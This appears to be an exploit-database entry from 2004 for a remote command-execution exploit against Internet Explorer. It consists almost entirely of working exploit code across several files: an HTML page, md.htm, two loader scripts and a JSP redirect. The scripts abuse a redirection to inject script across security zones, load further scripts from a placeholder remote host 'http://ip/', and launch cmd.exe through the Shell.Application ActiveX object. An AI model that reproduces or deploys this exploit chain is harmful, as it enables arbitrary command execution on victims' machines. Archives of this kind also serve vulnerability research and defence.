Microsoft Internet Explorer - Remote Application.Shell

🗓️ 09 Jul 2004 00:00:00Reported by JelmerType

Microsoft Internet Explorer exploit uses scripts for redirection and executing commands remotely.

<html>
<body>

<script language="Javascript">

function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;
dialogWidth:1\;").location="vbscript:\"<SCRIPT SRC='http://ip/shellscript_loader.js'><\/script>\"";
}

</script>

<script language="javascript">

setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.jsp" style=display:none;></IFRAME>');

</script>

</body>
</html>

--------------------------------------------------------- md.htm  ---------------------------------------------------------
<SCRIPT language="javascript">

window.returnValue = window.dialogArguments;

function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTimeout("CheckStatus()",100);
}

CheckStatus();

</SCRIPT>

--------------------------------------------------- shellscript_loader.js  ---------------------------------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://ip/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

------------------------------------------------------- shellscript.js  -------------------------------------------------------
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language=
"JScript" DEFER>var obj=new ActiveXObject("Shell.Application");obj.ShellExecute("cmd.exe","/c pause");</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);

--------------------------------------------------------- redir.jsp  ----------------------------------------------------------
<% Thread.sleep(1500);
response.setStatus(302);
response.setHeader("Location", "URL:res://shdoclc.dll/HTTP_501.htm"); 
%>


# milw0rm.com [2004-07-09]

09 Jul 2004 00:00Current

7.4High risk

Vulners AI Score7.4